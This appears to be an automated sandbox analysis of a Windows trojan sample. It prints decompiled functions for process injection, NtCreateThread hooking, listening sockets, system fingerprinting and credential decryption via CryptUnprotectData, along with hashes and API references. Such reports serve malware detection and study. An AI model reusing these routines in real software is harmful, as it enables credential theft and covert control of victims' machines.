0x00412cee
0x00412cf1
0x00412cf1
0x00000000
0x00412cd1
0x00412d0a
0x00412d10
0x00412d12
0x00412d12
0x00412d12
0x00000000
0x00412d12
0x00000000

APIs

IsBadReadPtr.KERNEL32(00400000,?,00000000,?,00000000), ref: 00412C5A
VirtualAllocEx.KERNEL32(?,00000000,?,00003000,00000040), ref: 00412C78
WriteProcessMemory.KERNEL32(?,?,00000000,00000000,00000000,00400000,?), ref: 00412D0A
VirtualFreeEx.KERNEL32(?,?,00000000,00008000,00400000,?), ref: 00412D2F

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Virtual$AllocFreeMemoryProcessReadWrite
String ID:
API String ID: 1273498236-0
Opcode ID: d1aa0cce5964ec54abdc3e8072d383aab8156bd77e5efa547effb164d2a18bbf
Instruction ID: 3b6913c886221c79ea4ba7ffe6f708901963daf50cc5faafbdb25cfb68f86423
Opcode Fuzzy Hash: d1aa0cce5964ec54abdc3e8072d383aab8156bd77e5efa547effb164d2a18bbf
Instruction Fuzzy Hash: EC31A171A00209AFDB108F64CE44BAEBBB8FF05711F14406AE941F7291E7B49DA1DB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041484B, Relevance: 6.1, APIs: 4, Instructions: 86commemoryCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004013A8,00000000,00004401,00401398,?), ref: 00414871
VariantInit.OLEAUT32(?), ref: 004148BD
SysAllocString.OLEAUT32(?), ref: 004148CD
VariantClear.OLEAUT32(?), ref: 00414906

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Variant$AllocClearCreateInitInstanceString
String ID:
API String ID: 3126708813-0
Opcode ID: 10ec0f84a029ceb49f7350f080c4a32f76261d93240a06947e2a7c79fea5bd21
Instruction ID: 460532d48c80289b9c818576c671059ae67dc98c0a08d107d47951966213d44e
Opcode Fuzzy Hash: 10ec0f84a029ceb49f7350f080c4a32f76261d93240a06947e2a7c79fea5bd21
Instruction Fuzzy Hash: A9217171900228AFDB10DBB4CC88EEF7BB8EF09750F0405A6F901EB291C3759940CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00416504, Relevance: 6.1, APIs: 4, Instructions: 61
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00416504(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, long _a24) {
				intOrPtr _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t18;
				signed int _t24;
				void* _t30;
				intOrPtr _t34;

				_t30 = __ecx;
				_t18 = E004154A6(_a16, _a8, _a12);
				if(_t18 != 0) {
					L7:
					return _t18;
				}
				_t34 = GetTickCount() + _a20;
				_a20 = _t34;
				if(GetTickCount() >= _t34) {
					L6:
					_t18 = 0;
					goto L7;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t24 = E00414B3B(_a4, _t30, 1, 0, 0, 0,  &_v12, 1);
					if(_t24 == 0) {
						break;
					}
					_t40 = _a8;
					_t24 = E0041543F(_v8, _a8, _v12);
					if(_t24 == 0) {
						break;
					}
					_t18 = E004154A6(_a16, _t40, _a12);
					if(_t18 != 0) {
						goto L7;
					}
					Sleep(_a24);
					if(GetTickCount() < _a20) {
						continue;
					}
					goto L6;
				}
				if(_v12 != 0) {
					_t24 = E0040E235(_v12);
				}
				_t18 = _t24 | 0xffffffff;
				goto L7;
			}

0x00416504
0x00416516
0x0041651d
0x00416587
0x0041658b
0x0041658b
0x00416529
0x0041652c
0x00416533
0x00416585
0x00416585
0x00000000
0x00000000
0x00000000
0x00000000
0x00416535
0x00416535
0x00416545
0x0041654c
0x00000000
0x00000000
0x0041654e
0x00416559
0x00416560
0x00000000
0x00000000
0x00416568
0x0041656f
0x00000000
0x00000000
0x00416574
0x00416583
0x00000000
0x00000000
0x00000000
0x00416583
0x00416592
0x00416597
0x00416597
0x0041659c
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00416525
GetTickCount.KERNEL32 ref: 0041652F

Part of subcall function 00414B3B: Sleep.KERNEL32(000003E8,00000000,00000000,00000000,?,?,0041771E,00000000,00000001), ref: 00414B9F

Sleep.KERNEL32(?,00000000,?,00000001,00000000,00000000,00000000,?,00000001), ref: 00416574
GetTickCount.KERNEL32 ref: 0041657A

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: 57b0203b33c5657e9d7f21819765d86992765156fb10b3e15522d97aa737235e
Instruction ID: 279fb934d93b5878901c9b7aaf26836a827e8b4ad2849d0e96b8ef4770e5434c
Opcode Fuzzy Hash: 57b0203b33c5657e9d7f21819765d86992765156fb10b3e15522d97aa737235e
Instruction Fuzzy Hash: 17114F71500209BBCF01EF65ED41AEF3BAAAF44364F110466FD05E3265D738EDA18BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F8AA, Relevance: 6.0, APIs: 4, Instructions: 36
threadprocessCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040F8AA(intOrPtr _a4) {
				intOrPtr _v20;
				void* _v32;
				signed int _t6;
				signed int _t7;
				int _t9;
				int _t14;
				void* _t15;

				_t14 = 0;
				_t6 = CreateToolhelp32Snapshot(4, 0);
				_t15 = _t6;
				_t7 = _t6 | 0xffffffff;
				if(_t15 != _t7) {
					_v32 = 0x1c;
					_t9 = Thread32First(_t15,  &_v32);
					while(_t9 != 0) {
						if(_v20 == _a4) {
							_t14 = _t14 + 1;
						}
						_t9 = Thread32Next(_t15,  &_v32);
					}
					CloseHandle(_t15);
					return _t14;
				}
				return _t7;
			}

0x0040f8b2
0x0040f8b7
0x0040f8bd
0x0040f8bf
0x0040f8c4
0x0040f8cb
0x0040f8d2
0x0040f8ee
0x0040f8e0
0x0040f8e2
0x0040f8e2
0x0040f8e8
0x0040f8e8
0x0040f8f3
0x00000000
0x0040f8f9
0x0040f8fe

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0040F8B7
Thread32First.KERNEL32 ref: 0040F8D2
Thread32Next.KERNEL32 ref: 0040F8E8
CloseHandle.KERNEL32(00000000), ref: 0040F8F3

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Thread32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 3643885135-0
Opcode ID: 1dab6c339289e3583d506307f9934bedf7537d09a0582e8fef12ee15356f068c
Instruction ID: 8ae878735a71b44aac1a2701ea602ae42dfd12e25790e7f7779c60259f6ab3e0
Opcode Fuzzy Hash: 1dab6c339289e3583d506307f9934bedf7537d09a0582e8fef12ee15356f068c
Instruction Fuzzy Hash: CEF05476900115ABD730BB65DD08DEF7BBCEB95751B004132FA12F21D1D7389905C6B9

Uniqueness

Uniqueness Score: -1.00%

Function 00411481, Relevance: 6.0, APIs: 4, Instructions: 32networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000000,00000001,00000006), ref: 0041148A
bind.WS2_32(00000000,?,-0000001D), ref: 004114AA
listen.WS2_32(00000000,?), ref: 004114B9
closesocket.WS2_32(00000000), ref: 004114C4

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: bindclosesocketlistensocket
String ID:
API String ID: 952684215-0
Opcode ID: b897e3fd0c1506c396e50da1e2440da5cb1382f40aaa482d38bbde95dbb8701f
Instruction ID: 4190918892ae66d1cd9aacd54f0b64ba4d695dcf2155961ec02f4e9c0320fced
Opcode Fuzzy Hash: b897e3fd0c1506c396e50da1e2440da5cb1382f40aaa482d38bbde95dbb8701f
Instruction Fuzzy Hash: 3BF0303220410166E3201F39ED49F6F29E9AB81B71B148729F9B5D21F0E73884D19524

Uniqueness

Uniqueness Score: -1.00%

Function 004054A1, Relevance: 4.6, APIs: 3, Instructions: 122
registryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E004054A1(void* __ebx, void* __ecx, void* __edi) {
				void* __esi;
				void* _t39;
				signed int _t53;
				signed int _t54;
				long _t63;
				void* _t71;
				void* _t74;
				void* _t75;
				void* _t76;
				int _t86;
				void* _t87;
				void* _t91;
				void* _t93;

				_t76 = __edi;
				_t74 = __ecx;
				_t71 = __ebx;
				_t91 = _t93 - 0x74;
				 *(_t91 + 0x68) = 0x28;
				if(GetComputerNameW(_t91 - 0x14, _t91 + 0x68) == 0) {
					E00407384(0xd9, _t91 - 0x14);
				}
				_push(_t71);
				_push(_t76);
				E0040E2E8(_t91 - 0x18c, _t91 - 0x18c, 0, 0x11c);
				 *(_t91 - 0x18c) = 0x11c;
				if(GetVersionExW(_t91 - 0x18c) != 0) {
					_push(0x100);
					_t39 = _t91 - 0x178;
				} else {
					_push(0x11c);
					_t39 = _t91 - 0x18c;
				}
				_push(0);
				_push(_t39);
				E0040E2E8(_t39);
				E00407384(0xd4, _t91 - 0x70);
				E00407384(0xd5, _t91 + 0x44);
				 *((intOrPtr*)(_t91 + 0x60)) = E004125A1(0x80000002, _t74, _t91 - 0x70, _t91 + 0x44);
				E00407384(0xd6, _t91 + 0x3c);
				_t86 = 0;
				 *(_t91 + 0x6c) = 0x80000002;
				 *((intOrPtr*)(_t91 + 0x70)) = 0;
				_t53 = RegOpenKeyExW(0x80000002, _t91 - 0x70, 0, 1, _t91 + 0x6c);
				if(_t53 != 0) {
					_t54 = _t53 | 0xffffffff;
				} else {
					_t54 = E0041269A(_t91 + 0x6c, _t91 + 0x3c, 0, _t91 + 0x70);
				}
				if(_t54 != 0xffffffff && _t54 > _t86) {
					_t86 = E0040F5E4( *((intOrPtr*)(_t91 + 0x70)), _t54);
					E0040E235( *((intOrPtr*)(_t91 + 0x70)));
				}
				 *((intOrPtr*)(_t91 + 0x64)) = _t86;
				_t87 = _t91 + 0x44;
				E00407384(0xd7, _t87);
				_push(E0040F5E4(_t91 + 0x60, 8));
				_push(E0040F5E4(_t91 - 0x18c, 0x11c));
				_push(_t91 - 0x14);
				_t88 =  *((intOrPtr*)(_t91 + 0x7c));
				_push(_t87);
				_t75 = 0x3c;
				_t63 = E0040EF28(_t87, _t75,  *((intOrPtr*)(_t91 + 0x7c)));
				 *(_t91 + 0x68) = _t63;
				if(_t63 < 1) {
					_t63 = E00407384(0xd8, _t88);
				}
				return _t63;
			}

0x004054a1
0x004054a1
0x004054a1
0x004054a2
0x004054b5
0x004054c4
0x004054ce
0x004054ce
0x004054d3
0x004054d4
0x004054e5
0x004054f1
0x004054ff
0x0040550a
0x0040550f
0x00405501
0x00405501
0x00405502
0x00405502
0x00405515
0x00405516
0x00405517
0x00405524
0x00405531
0x00405549
0x00405554
0x0040555f
0x00405567
0x0040556a
0x0040556d
0x00405575
0x0040558a
0x00405577
0x00405583
0x00405583
0x00405590
0x004055a2
0x004055a4
0x004055a4
0x004055a9
0x004055ac
0x004055b4
0x004055c4
0x004055d2
0x004055d6
0x004055d9
0x004055dc
0x004055df
0x004055e2
0x004055eb
0x004055f2
0x004055f9
0x004055f9
0x00405603

APIs

GetComputerNameW.KERNEL32 ref: 004054BC
GetVersionExW.KERNEL32(?,?,00000000,0000011C), ref: 004054F7
RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,?,?,?,00000000,00000100), ref: 0040556D

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: ComputerNameOpenVersion
String ID:
API String ID: 2183321064-0
Opcode ID: 1a836c2a7dc83bf77e425caa55a6374bf53a156fed750cb06a343288d6c24e86
Instruction ID: bf8391570402321a1acecaeee1f20b06a99c256cda2b17c22fca5fe315403139
Opcode Fuzzy Hash: 1a836c2a7dc83bf77e425caa55a6374bf53a156fed750cb06a343288d6c24e86
Instruction Fuzzy Hash: 9B411EB2900218ABEB10EEA5CC45ADF77ACEB04314F10457BBD15F3191D678DA45CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00415563, Relevance: 4.6, APIs: 3, Instructions: 62
nativethreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00415563(void* __ecx, void* __edx, void* __esi, HANDLE* _a4, long _a8, struct _EXCEPTION_RECORD _a12, void* _a16, struct _EXCEPTION_RECORD _a20, CONTEXT* _a24, struct _PROCESS_PARAMETERS _a28, char _a32) {
				void _v28;
				long _v32;
				intOrPtr _v40;
				void* __edi;
				void* _t21;
				void* _t27;
				signed int _t30;
				void* _t34;
				void* _t35;
				void* _t38;
				void* _t40;
				void* _t42;

				_t42 = __esi;
				_t38 = __edx;
				_t35 = __ecx;
				_t21 = E0040548D();
				_t40 = _a16;
				if(_t21 != 0 && NtQueryInformationProcess(_t40, 0,  &_v28, 0x18,  &_v32) >= 0 && _v40 != 0 && (_v28 == 0 || E0040F8AA(_v28) == 0)) {
					_t34 = E004052B0(_t35, _t38, _v28);
					_t51 = _t34;
					if(_t34 != 0) {
						_t27 = E004053A2(_t35, _t40, _t42, _t51, _t34, 0);
						if(_t27 != 0) {
							_t30 = _t27 -  *0x4222bc + E00405B20;
							if(( *0x4222a8 & 0x00000010) != 0) {
								_t30 = _t30 ^  *(_a24 + 0xb0);
							}
							 *(_a24 + 0xb0) = _t30;
						}
						CloseHandle(_t34);
					}
				}
				return NtCreateThread(_a4, _a8, _a12, _t40, _a20, _a24, _a28, _a32);
			}

0x00415563
0x00415563
0x00415563
0x0041556e
0x00415573
0x00415578
0x004155b7
0x004155b9
0x004155bb
0x004155c0
0x004155c7
0x004155cf
0x004155db
0x004155e0
0x004155e0
0x004155e9
0x004155e9
0x004155f0
0x004155f0
0x004155bb
0x00415617

APIs

Part of subcall function 0040548D: WaitForSingleObject.KERNEL32(00000000,004094C0,?,?,19367402,00000001), ref: 00405495

NtQueryInformationProcess.NTDLL(?,00000000,?,00000018,?), ref: 00415589
CloseHandle.KERNEL32(00000000,00000000,00000000,00000000), ref: 004155F0

Part of subcall function 0040F8AA: CreateToolhelp32Snapshot.KERNEL32 ref: 0040F8B7
Part of subcall function 0040F8AA: Thread32First.KERNEL32 ref: 0040F8D2
Part of subcall function 0040F8AA: CloseHandle.KERNEL32(00000000), ref: 0040F8F3

NtCreateThread.NTDLL(?,?,?,?,?,?,?,?), ref: 0041560C

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateHandle$FirstInformationObjectProcessQuerySingleSnapshotThreadThread32Toolhelp32Wait
String ID:
API String ID: 3154080929-0
Opcode ID: 99680498c87aa3ac69652b7e13e32a57539c75c20a45a93b7d06901b61f80f2a
Instruction ID: 707c1d4b58b5cce49785d96d354d854d9a5f8bfec92f5c58dc9095f3119385ba
Opcode Fuzzy Hash: 99680498c87aa3ac69652b7e13e32a57539c75c20a45a93b7d06901b61f80f2a
Instruction Fuzzy Hash: 4311A231200605FBDB219F60CD44BEB37AAFF88304F04413ABD40911A1D779D952DB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041172A, Relevance: 4.5, APIs: 3, Instructions: 27networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000000,00000002,00000011), ref: 00411733
bind.WS2_32(00000000,00000017,-0000001D), ref: 00411753
closesocket.WS2_32(00000000), ref: 0041175E

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: bindclosesocketsocket
String ID:
API String ID: 1873677229-0
Opcode ID: 332710d59d31518f60fef95fe9baca819955a55e1edc0547355b7eaa7832eda9
Instruction ID: 872063b4d5ce637271b1bbf744061c504cdcd18db580ff19e3fe72475d84b2d2
Opcode Fuzzy Hash: 332710d59d31518f60fef95fe9baca819955a55e1edc0547355b7eaa7832eda9
Instruction Fuzzy Hash: C6E0483220051066F2202B39AD4EA7F25A9AB86B71B144729B971D21F1E77888C1D124

Uniqueness

Uniqueness Score: -1.00%

Function 00409D36, Relevance: 3.9, Strings: 3, Instructions: 189
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00409D36(intOrPtr __eax, void* __ecx, void* __esi) {
				signed int _v8;
				signed int* _v12;
				void* __edi;
				signed int _t68;
				signed int _t69;
				signed int _t70;
				short* _t75;
				short* _t76;
				short* _t77;
				short* _t78;
				short _t80;
				char _t85;
				void* _t89;
				signed int _t102;
				signed int _t107;
				void* _t109;
				void* _t110;
				void* _t111;
				void* _t112;
				signed int* _t122;
				signed int _t123;
				short _t126;
				short _t127;
				short _t128;
				short _t129;
				short* _t131;
				signed int* _t138;
				void* _t142;
				signed int* _t144;
				void* _t148;

				_t148 = __esi;
				_t102 = 0;
				 *((intOrPtr*)(__esi + 0x1af50)) = __eax;
				 *((intOrPtr*)(__esi + 0x1af48)) = 0;
				 *((intOrPtr*)(__esi + 0x1af44)) = 0;
				 *((intOrPtr*)(__esi + 0x1af4c)) = 0;
				if( *((intOrPtr*)(__esi + 0xe7e)) == 0) {
					_t68 = 0;
					_t85 = 0;
					_t122 = 0x401870;
					_v12 = __esi + 0x1e40;
					while(1) {
						 *_v12 = _t68;
						_v8 = _t102;
						if(1 <<  *_t122 <= 0) {
							goto L5;
						} else {
							goto L4;
						}
						do {
							L4:
							 *((char*)(_t148 + _t68 + 0x1b3d)) = _t85;
							_t68 = _t68 + 1;
							_v8 = _v8 + 1;
						} while (_v8 < 1 <<  *_t122);
						L5:
						_v12 =  &(_v12[1]);
						_t122 =  &(_t122[1]);
						_t85 = _t85 + 1;
						if(_t122 < 0x4018e0) {
							_t102 = 0;
							continue;
						}
						if(_t68 != 0x100) {
							 *(_t148 + 0x6afa4) = "ct_init: length != 256";
						}
						 *((char*)(_t68 + _t148 + 0x1b3c)) = _t85;
						_t69 = 0;
						_t123 = 0;
						_t138 = 0x4018f8;
						_v12 = _t148 + 0x1eb4;
						do {
							_v8 = _v8 & 0x00000000;
							 *_v12 = _t69;
							if(1 <<  *_t138 <= 0) {
								goto L11;
							} else {
								goto L10;
							}
							do {
								L10:
								 *(_t148 + _t69 + 0x1c3d) = _t123;
								_t69 = _t69 + 1;
								_v8 = _v8 + 1;
							} while (_v8 < 1 <<  *_t138);
							L11:
							_t89 = 4;
							_v12 = _v12 + _t89;
							_t138 = _t138 + _t89;
							_t123 = _t123 + 1;
						} while (_t138 < 0x401938);
						if(_t69 != 0x100) {
							 *(_t148 + 0x6afa4) = "ct_init: dist != 256";
						}
						_t70 = _t69 >> 7;
						if(_t123 >= 0x1e) {
							L19:
							if(_t70 != 0x100) {
								 *(_t148 + 0x6afa4) = "ct_init: 256+dist != 512";
							}
							_t107 = 8;
							memset(_t148 + 0xfe4, 0xbadbad, _t107 << 2);
							_t75 = _t148 + 0x9fe;
							_t109 = 0x90;
							do {
								_t126 = 8;
								 *_t75 = _t126;
								_t75 = _t75 + _t89;
								 *((short*)(_t148 + 0xff4)) =  *((short*)(_t148 + 0xff4)) + 1;
								_t109 = _t109 - 1;
							} while (_t109 != 0);
							_t76 = _t148 + 0xc3e;
							_t110 = 0x70;
							do {
								_t127 = 9;
								 *_t76 = _t127;
								_t76 = _t76 + _t89;
								 *((short*)(_t148 + 0xff6)) =  *((short*)(_t148 + 0xff6)) + 1;
								_t110 = _t110 - 1;
							} while (_t110 != 0);
							_t77 = _t148 + 0xdfe;
							_t111 = 0x18;
							do {
								_t128 = 7;
								 *_t77 = _t128;
								_t77 = _t77 + _t89;
								 *((short*)(_t148 + 0xff2)) =  *((short*)(_t148 + 0xff2)) + 1;
								_t111 = _t111 - 1;
							} while (_t111 != 0);
							_t78 = _t148 + 0xe5e;
							_t112 = 8;
							do {
								_t129 = 8;
								 *_t78 = _t129;
								_t78 = _t78 + _t89;
								 *((short*)(_t148 + 0xff4)) =  *((short*)(_t148 + 0xff4)) + 1;
								_t112 = _t112 - 1;
							} while (_t112 != 0);
							E0040A24C(_t148, _t148 + 0x9fc, 0x11f);
							_t142 = 0;
							_t131 = _t148 + 0xe7c;
							do {
								_t80 = 5;
								 *((short*)(_t131 + 2)) = _t80;
								 *_t131 = E0040ACF6(_t142, _t80);
								_t142 = _t142 + 1;
								_t131 = _t131 + _t89;
							} while (_t142 < 0x1e);
							return E00409F5F(_t148);
						} else {
							_t144 =  &(0x4018f8[_t123]);
							_v12 = _t148 + 0x1eb4 + _t123 * 4;
							do {
								_v8 = _v8 & 0x00000000;
								 *_v12 = _t70 << 7;
								if(1 <<  *_t144 - 7 <= 0) {
									goto L18;
								} else {
									goto L17;
								}
								do {
									L17:
									 *(_t148 + _t70 + 0x1d3d) = _t123;
									_t70 = _t70 + 1;
									_v8 = _v8 + 1;
								} while (_v8 < 1 <<  *_t144 - 7);
								L18:
								_t89 = 4;
								_v12 = _v12 + _t89;
								_t144 = _t144 + _t89;
								_t123 = _t123 + 1;
							} while (_t144 < 0x401970);
							goto L19;
						}
					}
				}
				return __eax;
			}

0x00409d36
0x00409d3b
0x00409d3d
0x00409d43
0x00409d49
0x00409d4f
0x00409d5c
0x00409d6a
0x00409d6c
0x00409d6e
0x00409d73
0x00409d7a
0x00409d7d
0x00409d81
0x00409d8b
0x00000000
0x00000000
0x00000000
0x00000000
0x00409d8d
0x00409d8d
0x00409d8f
0x00409d9b
0x00409d9c
0x00409d9f
0x00409da4
0x00409da4
0x00409da8
0x00409dab
0x00409db2
0x00409d78
0x00000000
0x00409d78
0x00409db9
0x00409dbb
0x00409dbb
0x00409dc5
0x00409dd2
0x00409dd4
0x00409dd6
0x00409ddb
0x00409dde
0x00409de1
0x00409de7
0x00409df0
0x00000000
0x00000000
0x00000000
0x00000000
0x00409df2
0x00409df2
0x00409df4
0x00409e00
0x00409e01
0x00409e04
0x00409e09
0x00409e0b
0x00409e0c
0x00409e0f
0x00409e11
0x00409e12
0x00409e1f
0x00409e21
0x00409e21
0x00409e2b
0x00409e31
0x00409e8b
0x00409e90
0x00409e92
0x00409e92
0x00409eb0
0x00409eb1
0x00409eb3
0x00409eb9
0x00409ebe
0x00409ec0
0x00409ec1
0x00409ec4
0x00409ec6
0x00409ecd
0x00409ecd
0x00409ed2
0x00409ed8
0x00409ed9
0x00409edb
0x00409edc
0x00409edf
0x00409ee1
0x00409ee8
0x00409ee8
0x00409eed
0x00409ef3
0x00409ef4
0x00409ef6
0x00409ef7
0x00409efa
0x00409efc
0x00409f03
0x00409f03
0x00409f08
0x00409f0e
0x00409f0f
0x00409f11
0x00409f12
0x00409f15
0x00409f17
0x00409f1e
0x00409f1e
0x00409f2e
0x00409f33
0x00409f35
0x00409f3b
0x00409f3d
0x00409f40
0x00409f49
0x00409f4c
0x00409f4d
0x00409f4f
0x00000000
0x00409e33
0x00409e3a
0x00409e41
0x00409e44
0x00409e47
0x00409e50
0x00409e5e
0x00000000
0x00000000
0x00000000
0x00000000
0x00409e60
0x00409e60
0x00409e60
0x00409e71
0x00409e72
0x00409e75
0x00409e7a
0x00409e7c
0x00409e7d
0x00409e80
0x00409e82
0x00409e83
0x00000000
0x00409e44
0x00409e31
0x00409d7a
0x00409f5e

Strings

ct_init: 256+dist != 512, xrefs: 00409E92
ct_init: dist != 256, xrefs: 00409E21
ct_init: length != 256, xrefs: 00409DBB

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: ct_init: 256+dist != 512$ct_init: dist != 256$ct_init: length != 256
API String ID: 0-2704465662
Opcode ID: 1f27c45484c5fee6084bd6a2c3c3f02c8b8afddd3d4f98180b07311aee17e27d
Instruction ID: 54b5db568cf77c23470308395c50b800120a9553ba52fb0cef606e27c5a618a7
Opcode Fuzzy Hash: 1f27c45484c5fee6084bd6a2c3c3f02c8b8afddd3d4f98180b07311aee17e27d
Instruction Fuzzy Hash: A16124726407019BD724CF65C4807EAB3E5EF85304F24847ED19AEB2D2DB786E46CB08

Uniqueness

Uniqueness Score: -1.00%

Function 00418EF0, Relevance: 3.2, APIs: 2, Instructions: 162
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E00418EF0(void* __eax, void* __edi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				char _v5;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v44;
				signed int _v48;
				void* _v52;
				char _v56;
				char _v72;
				void* _v96;
				char _v196;
				void* __ebx;
				void* __esi;
				intOrPtr _t48;
				intOrPtr _t50;
				intOrPtr _t52;
				intOrPtr _t54;
				signed int _t65;
				void* _t66;
				void* _t68;
				char* _t70;
				intOrPtr _t77;
				signed int* _t82;
				intOrPtr _t95;
				void* _t97;
				signed int _t100;
				void* _t107;
				void* _t109;
				intOrPtr _t115;
				char* _t117;
				void* _t129;

				_t121 = __eflags;
				_t115 = _a4;
				_push(_t115);
				_t92 = __eax;
				_t48 = E00418E9D(__eax, __eflags, 0x4c);
				_push(_t115);
				_v20 = _t48;
				_t50 = E00418E9D(_t92, _t121, 0x4f);
				_push(_t115);
				_v24 = _t50;
				_t52 = E00418E9D(_t92, _t121, 0x50);
				_push(_t115);
				_v28 = _t52;
				_t54 = E00418E9D(_t92, _t121, 0x4d);
				_push(_t115);
				_v36 = _t54;
				_v12 = E00418E9D(_t92, _t121, 0x4e);
				_v5 = _v20 != 0;
				if(_v5 != 0) {
					_t95 = _v12;
					_t65 = E0040ED84(_t95);
					if(_t95 != 0 && _t65 > 1) {
						_t100 = _t65 & 0x80000001;
						if(_t100 < 0) {
							_t129 = (_t100 - 0x00000001 | 0xfffffffe) + 1;
						}
						if(_t129 == 0) {
							asm("cdq");
							_v48 = _t65 - _t107 >> 1;
							_t77 = E0040E205(_t65 - _t107 >> 1);
							_v44 = _t77;
							if(_t77 != 0) {
								if(E0040EA72(_v12, _t77) != 0) {
									_t82 =  &_v48;
									__imp__CryptUnprotectData(_t82, 0, _a8, 0, 0, 0,  &_v56);
									if(_t82 == 1) {
										_v16 = E0040E5F1(_v52);
										LocalFree(_v52);
									}
								}
								E0040E235(_v44);
							}
						}
					}
					_t66 = 0x4b;
					E00407384(_t66,  &_v196);
					_t117 =  &_v72;
					_t68 = 0x54;
					E00407384(_t68, _t117);
					_t70 = 0x4038ec;
					_t109 =  ==  ? 0x4038ec : _v16;
					_t97 =  ==  ? 0x4038ec : _v36;
					_t135 = _v32;
					if(_v32 != 0) {
						_t70 = _t117;
					}
					_push(_t109);
					_push(_t97);
					_push(_t70);
					_push(_v20);
					E0040EFB6(_a12, E0040ED84( *_a12),  *_a12, _t135,  &_v196, _a4);
					_t56 = E0040E235(_v16);
				}
				E00414946(E00414946(E00414946(E00414946(E00414946(_t56, _v20), _v24), _v28), _v36), _v12);
				return _v5;
			}

0x00418ef0
0x00418efb
0x00418efe
0x00418f01
0x00418f04
0x00418f09
0x00418f0c
0x00418f10
0x00418f15
0x00418f18
0x00418f1c
0x00418f21
0x00418f24
0x00418f28
0x00418f2d
0x00418f30
0x00418f3e
0x00418f41
0x00418f48
0x00418f94
0x00418f97
0x00418f9e
0x00418fa7
0x00418fad
0x00418fb3
0x00418fb3
0x00418fb4
0x00418fb6
0x00418fbb
0x00418fbe
0x00418fc3
0x00418fc8
0x00418fd6
0x00418fe2
0x00418fe7
